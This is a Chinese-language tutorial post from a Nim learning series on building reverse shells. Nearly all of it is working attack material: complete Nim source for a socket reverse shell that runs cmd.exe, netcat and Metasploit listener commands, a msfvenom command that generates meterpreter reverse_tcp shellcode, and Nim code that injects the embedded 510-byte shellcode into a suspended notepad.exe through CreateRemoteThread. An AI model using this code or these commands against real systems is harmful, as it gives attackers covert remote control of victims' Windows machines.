nim 反弹 shell（nim学习系列）

反弹 netcat shell

netcat 监听：

nc -vv -l -p 80

nimNC 反弹shell:

nimNC 172.20.10.4 80

源代码 nimNC.nim

#[
    Author: StudyCat
    Blog: https://www.cnblogs.com/studycat
    Github: https://github.com/StudyCat404/myNimExamples
    License: BSD 3-Clause
    References: https://github.com/Potato-Industries/nimrs
]#

import net, streams, osproc, os, strutils

let c: Socket = newSocket()
let host = paramStr(1)
let port = paramStr(2).parseInt()
echo "Connected to ",host,":",$port
c.connect(host, Port(port))

var p = startProcess("cmd.exe", options={poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
var input = p.inputStream()
var output = p.outputStream()

while true:
  let cmds: string = c.recvLine()
  #Linux/MacOS
  #input.writeLine(cmds & ";echo ‘DONEDONE‘")
  #Windows
  input.writeLine(cmds & " & echo DONEDONE")
  input.flush()
  var o: string
  while output.readLine(o):
    if o == "DONEDONE":
      break
    c.send(o & "\r\L")

反弹 msf shell

与反弹 netcat shell 同理，msf 监听：

use multi/handler

set payload windows/shell_reverse_tcp

set lhost 172.20.10.4

set lport 80

run

反弹 msf meterpreter shell

msf 监听：

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.20.10.4
set lport 80
run

生成 shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=80 -f csharp

将生成的shellcode 语法改成 nim 的。

参考： https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_bin.nim 的代码进行修改。

源代码 nimMeter.nim

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
    StudyCat
    https://www.cnblogs.com/studycat
]#

import winim/lean
import osproc

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

    # Under the hood, the startProcess function from Nim‘s osproc module is calling CreateProcess() :D
    let tProcess = startProcess("notepad.exe")
    tProcess.suspend() # That‘s handy!
    defer: tProcess.close()

    echo "[*] Target Process: ", tProcess.processID

    let pHandle = OpenProcess(
        PROCESS_ALL_ACCESS, 
        false, 
        cast[DWORD](tProcess.processID)
    )
    defer: CloseHandle(pHandle)

    echo "[*] pHandle: ", pHandle

    let rPtr = VirtualAllocEx(
        pHandle,
        NULL,
        cast[SIZE_T](shellcode.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )

    var bytesWritten: SIZE_T
    let wSuccess = WriteProcessMemory(
        pHandle, 
        rPtr,
        unsafeAddr shellcode,
        cast[SIZE_T](shellcode.len),
        addr bytesWritten
    )

    echo "[*] WriteProcessMemory: ", bool(wSuccess)
    echo "    \\-- bytes written: ", bytesWritten
    echo ""

    let tHandle = CreateRemoteThread(
        pHandle, 
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](rPtr),
        NULL, 
        0, 
        NULL
    )
    defer: CloseHandle(tHandle)

    echo "[*] tHandle: ", tHandle
    echo "[+] Injected"

when defined(windows):
    var shellcode: array[510, byte] = [
        byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
        0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
        0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
        0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
        0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
        0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
        0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,
        0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
        0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
        0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
        0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
        0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
        0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
        0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
        0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
        0x49,0xbc,0x02,0x00,0x00,0x50,0xac,0x14,0x0a,0x04,0x41,0x54,0x49,0x89,0xe4,
        0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
        0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
        0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
        0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
        0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
        0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
        0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
        0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
        0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
        0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
        0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
        0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
        0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
        0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
        0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
        0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
        0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5]    

    # This is essentially the equivalent of ‘if __name__ == ‘__main__‘ in python
    when isMainModule:
        injectCreateRemoteThread(shellcode)

截图：

nim 反弹 shell（nim学习系列）